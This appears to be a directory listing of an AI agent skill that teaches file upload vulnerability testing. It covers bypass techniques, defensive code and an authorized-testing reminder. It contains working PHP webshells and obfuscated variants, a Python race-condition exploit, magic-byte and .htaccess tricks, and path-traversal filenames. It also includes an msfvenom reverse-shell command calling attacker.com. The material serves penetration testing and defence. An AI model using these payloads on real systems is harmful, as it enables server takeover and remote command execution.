SuperAPI AI Directory

file-upload-testing

Testing & quality

View repository

Updated 10-15 19:53

About this skill

File Upload Vulnerability Testing

Overview

File upload functionality is a common feature in web applications, but it carries multiple security risks. This skill provides methods for detecting, exploiting, and preventing file upload vulnerabilities.

Vulnerability Types

1. Unvalidated File Type

Frontend-only validation:

// 可被绕过
if (!file.name.endsWith('.jpg')) {
  alert('只允许上传图片');
}

2. Unvalidated File Content

Only checks extension:

// 危险代码
if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'jpg') {
  move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
}

3. Path Traversal

Unfiltered filename:

filename: ../../../etc/passwd
filename: ..\..\..\windows\system32\config\sam

4. Filename Overwrite

Predictable filenames:

uploads/1.jpg
uploads/2.jpg

Testing Methods

1. Basic Detection

Test various file types:

  • .php, .jsp, .asp, .aspx
  • .php3, .php4, .php5, .phtml
  • .jspx, .jspf
  • .htaccess, .htpasswd

Test double extensions:

shell.php.jpg
shell.jpg.php

Test case sensitivity:

shell.PHP
shell.PhP

2. Content-Type Bypass

Modify Content-Type:

Content-Type: image/jpeg
# 但文件内容是PHP代码

Magic Bytes:

// 在PHP代码前添加图片头
GIF89a<?php phpinfo(); ?>

3. Parsing Vulnerabilities

Apache parsing vulnerability:

shell.php.xxx  # Apache可能解析为PHP

IIS parsing vulnerability:

shell.asp;.jpg
shell.asp:.jpg

Nginx parsing vulnerability:

shell.jpg%00.php

4. Race Condition

Access immediately after file upload:

# 上传.php文件,在上传完成但删除前访问
import requests
import threading

def upload():
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
    requests.post('http://target.com/upload', files=files)

def access():
    time.sleep(0.1)
    requests.get('http://target.com/uploads/shell.php?cmd=id')

threading.Thread(target=upload).start()
threading.Thread(target=access).start()

Exploitation Techniques

PHP WebShell

Basic WebShell:

<?php system($_GET['cmd']); ?>

One-liner trojan:

<?php eval($_POST['a']); ?>

Bypass filtering:

<?php
$_GET['cmd']($_POST['a']);
// 使用: ?cmd=system

.htaccess Exploitation

Upload .htaccess:

AddType application/x-httpd-php .jpg

Then upload shell.jpg (actually PHP code)

Image Trojan

GIF image trojan:

GIF89a
<?php
phpinfo();
?>

PNG image trojan:

# 使用工具将PHP代码嵌入PNG
python3 png2php.py shell.php shell.png

File Inclusion Combination

If a file inclusion vulnerability exists:

# 上传包含PHP代码的图片
# 然后通过文件包含执行
?file=uploads/shell.jpg

Bypass Techniques

Extension Bypass

Double extension:

shell.php.jpg
shell.php;.jpg
shell.php%00.jpg

Case sensitivity:

shell.PHP
shell.PhP

Special characters:

shell.php.
shell.php 
shell.php%20

Content-Type Bypass

Modify request headers:

Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif

Magic Bytes Bypass

Add file header:

// JPEG
\xFF\xD8\xFF\xE0<?php phpinfo(); ?>

// GIF
GIF89a<?php phpinfo(); ?>

// PNG
\x89\x50\x4E\x47<?php phpinfo(); ?>

Code Obfuscation

Use short tags:

<?= system($_GET['cmd']); ?>

Use variables:

<?php
$a='sys';
$b='tem';
$a.$b($_GET['cmd']);

Tool Usage

Burp Suite

  1. Intercept file upload requests
  2. Modify filenames and content
  3. Test various bypass techniques

Upload Bypass

# 使用各种技术测试文件上传
python upload_bypass.py -u http://target.com/upload -f shell.php

WebShell Generation

# 生成各种WebShell
msfvenom -p php/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f raw > shell.php

Verification and Reporting

Verification Steps

  1. Confirm that malicious files can be uploaded
  2. Verify that the file can execute
  3. Assess impact (command execution, data leakage, etc.)
  4. Record the complete POC

Report Key Points

  • Vulnerability location and upload functionality
  • Uploadable file types and execution methods
  • Complete exploitation steps and PoC
  • Remediation recommendations (file type validation, content inspection, secure storage, etc.)

Protective Measures

Recommended Solutions

  1. File type whitelist

    ALLOWED_EXTENSIONS = {'jpg', 'png', 'gif'}
    ext = filename.rsplit('.', 1)[1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        raise ValueError("File type not allowed")
    
  2. File content validation

    import magic
    file_type = magic.from_buffer(file_content, mime=True)
    if not file_type.startswith('image/'):
        raise ValueError("Invalid file content")
    
  3. Rename files

    import uuid
    filename = str(uuid.uuid4()) + '.' + ext
    
  4. Isolated storage

    • Store files outside the web root directory
    • Access through script proxy
    • Disable execution permissions
  5. File scanning

    • Scan with antivirus software
    • Inspect file content
    • Remove executable permissions
  6. Size limits

    MAX_SIZE = 5 * 1024 * 1024  # 5MB
    if file.size > MAX_SIZE:
        raise ValueError("File too large")
    

Notes

  • Perform only in authorized testing environments
  • Avoid uploading malicious files to the production environment
  • Clean up promptly after testing
  • Pay attention to parsing differences across different servers